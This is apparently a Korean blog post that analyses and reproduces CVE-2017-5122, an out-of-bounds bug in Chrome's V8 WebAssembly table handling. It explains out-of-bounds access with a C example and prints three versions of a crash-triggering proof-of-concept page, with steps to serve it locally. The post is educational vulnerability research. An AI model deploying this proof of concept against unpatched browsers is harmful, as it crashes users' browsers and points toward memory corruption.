[Wasm] CVE-2017-5122(Out of Bound) 취약점 분석 및 재현
본 글은 [이가현, 최형기 성균관대학교 「WebAssembly 기능 도입으로 인해 크롬에 서 발생한 오류들의 분석」, 한국소프트웨어종합학 술대회, 온라인, 2020]을 참고하여 작성한 글임을 사전에 밝힌다.
DBpia
논문, 학술저널 검색 플랫폼 서비스
www.dbpia.co.kr
CVE-2017-5122
CVE-2017-5122 취약점은 Google Chrome 61.0.3163.100 for Mac, Window, Linux
이하 버전에서 발생하는 취약점으로 크롬 V8엔진에서 테이블 크기 처리를 부적절하게
사용하면 원격 공격자가 악의적인 Html 페이지를 사용해 Out of Bound 액세스를 트리거할 수 있는 오류이다.
해당 취약점이 트리거 되면 웹 페이지가 Crash 되는 문제가 발생한다.
Out of Bound 취약점이란?
Out of Bound, 이하 OOB 취약점은 메모리상에서 발생하는 취약점이다.
바이너리상에서 배열이 점유하는 공간의 크기는 [ 요소의 개수 ] * [ 요소 자료형의 크기 ]로 정의된다.
이때의 배열 각 요소의 주소는 [ 배열의 주소 ] + ( [ 요소의 개수 ] * [ 요소 자료형의 크기 ] )로 정의되게 된다.
OOB 취약점은 이러한 배열의 속성을 악용한 취약점으로, 컴파일러 자체만으론 배열의 인덱스에 대해 충분한
검증을 거치지 않기에 공격자는 초기에 정의된 배열의 인덱스를 벗어난 주소에 접근이 가능하다.
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
int main() {
int arr[10];
int index;
printf("Enter index: ");
scanf("%d", &index);
printf("arr[%d]: %p", index, &arr[index]);
}
Enter index: -1
arr[-1]: 000000A86F0FF774
Enter index: 1000
arr[1000]: 000000E666500608
위와 같이 사용자가 입력한 배열 인덱스의 주소를 출력해 주는 프로그램이 있다 할 때, 공격자는
기존의 정의된 배열의 인덱스를 뛰어넘는 위치의 주소를 조회하는 것이 가능하다.
이를 통해 공격자는 코드에 따라 임의의 주소를 읽거나 덮어쓸 수 있고,
악성코드를 삽입하고 이를 실행시키는 등 여러 공격을 허용하게 된다.
PoC 분석
<!-- PoC Code -->
<script src="./wasm-constant.js"> </script>
<script src="./wasm-module-builder.js"> </script>
<script>
var builder = new WasmModuleBuilder();
builder.addImportedTable("x", "table", 1, 10000000);
builder.addFunction("main", kSig_i_i)
.addBody([
kExprI32Const, 0,
kExprGetLocal, 0,
kExprCallIndirect, 0, kTableZero])
.exportAs("main");
let module = new WebAssembly.Module(builder.toBuffer());
let table = new WebAssembly.Table({element: "anyfunc",
initial: 1, maximum:1000000});
let instance = new WebAssembly.Instance(module, {x: {table:table}});
for (let i = 0; i < 4; i++)
table.grow(99900);
let instance2 = new WebAssembly.Instance(module, {x: {table:table}});
instance2.exports.main(0x313131/8);
</script>
논문에서 제공한 PoC 코드는 위와 같으며 이 PoC 코드를 분석해 보겠다.
<script src="./wasm-constant.js"> </script>
<script src="./wasm-module-builder.js"> </script>
위 코드는 해당 경로의 파일들을 가져와 파일에 저장된 내장 함수를
사용하기 위한 코드이다.
var builder = new WasmModuleBuilder();
builder.addImportedTable("x", "table", 1, 10000000);
앞서 정의한 wasm-module-builder.js 파일의 내장함수 중 하나인 addImportedTable 함수를 통해
테이블을 생성 가능한데, 위 코드에선 addImportedTable 함수를 사용하여 이름이 'table',
initial(테이블 초기 요소) 1, maximum(테이블 최대 증가 요소) 10000000인 테이블을 생성하였다.
builder.addFunction("main", kSig_i_i)
.addBody([
kExprI32Const, 0,
kExprGetLocal, 0,
kExprCallIndirect, 0, kTableZero])
.exportAs("main");
테이블을 생성한 뒤, 위 코드에선 main 이란 이름의 함수를 생성해 주는데,
main 함수의 type은 kSig_i_i로, 해당 type은 앞서 불러온 wasm-constant.js 파일에 정의되어 있다.
let module = new WebAssembly.Module(builder.toBuffer());
let table = new WebAssembly.Table({element: "anyfunc",
initial: 1, maximum:1000000});
let instance = new WebAssembly.Instance(module, {x: {table:table}});
앞서 생성한 builder을 buffer 형식으로 바꾸고 Wasm Module을 생성한 후,
table이란 이름의 객체를 생성해 Wasm Table을 만들어 준다.
이 table은 initial이 1, maximum이 10000000인 테이블이다.
다음으로 만들어진 table을 instance 객체에 넣어 인스턴스를 생성해 준다.
for (let i = 0; i < 4; i++)
table.grow(99900);
다음으로 생성한 테이블의 크기를 99900만큼 grow 하여 테이블의 크기를 수정해 준다.
let instance2 = new WebAssembly.Instance(module, {x: {table:table}});
instance2.exports.main(0x618F1);
동일한 모듈로 앞서 생성한 인스턴스와 동일한 인스턴스를 생성해 준다.
여기서 table은 앞서 intance 객체를 통해 4번 그 크기가 grow 되었는데,
위 코드에서 생성하는 instance2는 module이란 이름의 wasm 모듈로 새롭게 table을 생성하였기 때문에
새롭게 생성한 table엔 아무런 문제가 없어야 한다.
그러나 instance2의 10000000 + (99900 * 4) 이상의 인덱스를 요소로 사용하는 main 함수를 호출하면
실제론 웹 페이지가 Crash 되는 문제가 발생하게 된다.
위에서 분석한 논문의 PoC 코드는 초기 구글 버그 리포트에 작성된 PoC 코드와 상이하다.
초기에 제공된 PoC 코드는 아래와 같다.
<!-- Initial PoC Code -->
<script src="./wasm-constants.js"></script>
<script src="./wasm-module-builder.js"></script>
<script>
var builder = new WasmModuleBuilder();
builder.addImportedTable("x", "table", 1, 10000000);
builder.addFunction("main", kSig_i_i)
.addBody([
kExprI32Const, 0,
kExprGetLocal, 0,
kExprCallIndirect, 0, kTableZero])
.exportAs("main");
let module = new WebAssembly.Module(builder.toBuffer());
let table = new WebAssembly.Table({element: "anyfunc",
initial: 1, maximum:1000000});
let instance = new WebAssembly.Instance(module, {x: {table:table}});
let myint = {};
myint[Symbol.toPrimitive] = function () {
table.grow(99900); // <-- this expands function_table of instance
return 1; // <-- but, it shrinks table.
}
for (let i = 0; i < 4; i++)
table.grow(myint);
let instance2 = new WebAssembly.Instance(module, {x: {table:table}});
table.grow(myint);
instance2.exports.main(0x313131/8); // <- table index
</script>
위 초기 PoC 코드에선 myint란 함수를 사용해 테이블을 grow 했다 바로 줄이는데,
이 myint 함수에서 사용하는 toPrimitive의 부작용으로 OOB 에러가 발생한다 분석했으나,
분석결과 실제 취약점을 트리거하는 것은 앞서 설명한 동일한 페치테이블의 크기임을 알 수 있었기에
논문에선 PoC 코드를 수정하였다 밝혔다.
재현
본 취약점을 재현하기 위해선 아래와 같은 디렉터리 구조를 구성해야 한다.
index.html 파일은 PoC 코드를 스크립트 태그로 감싸 html 코드로 만들어 주면 된다,
// index.html
<!DOCTYPE html>
<html lang="en">
<head>
<title>CVE-2017-5122 PoC</title>
</head>
<body>
<script src="./wasm-constants.js"></script>
<script src="./wasm-module-builder.js"></script>
<script>
var builder = new WasmModuleBuilder();
builder.addImportedTable("x", "table", 1, 10000000);
builder.addFunction("main", kSig_i_i)
.addBody([
kExprI32Const, 0,
kExprGetLocal, 0,
kExprCallIndirect, 0, kTableZero])
.exportAs("main");
let module = new WebAssembly.Module(builder.toBuffer());
let table = new WebAssembly.Table({element: "anyfunc",
initial: 1, maximum:1000000});
let instance = new WebAssembly.Instance(module, {x: {table:table}});
for (let i = 0; i < 4; i++)
table.grow(99900);
let instance2 = new WebAssembly.Instance(module, {x: {table:table}});
instance2.exports.main(0x313131/8);
</script>
</body>
</html>
그리고 간단하게 아래 명령어로 localhost:8000에서 접근 가능하게 설정할 수 있다.
python3 -m http.server
위 명령어를 실행하고, localhost:8000/index.html 경로로 접근했을 때,
웹 페이지가 Crash 되는 것을 확인할 수 있다.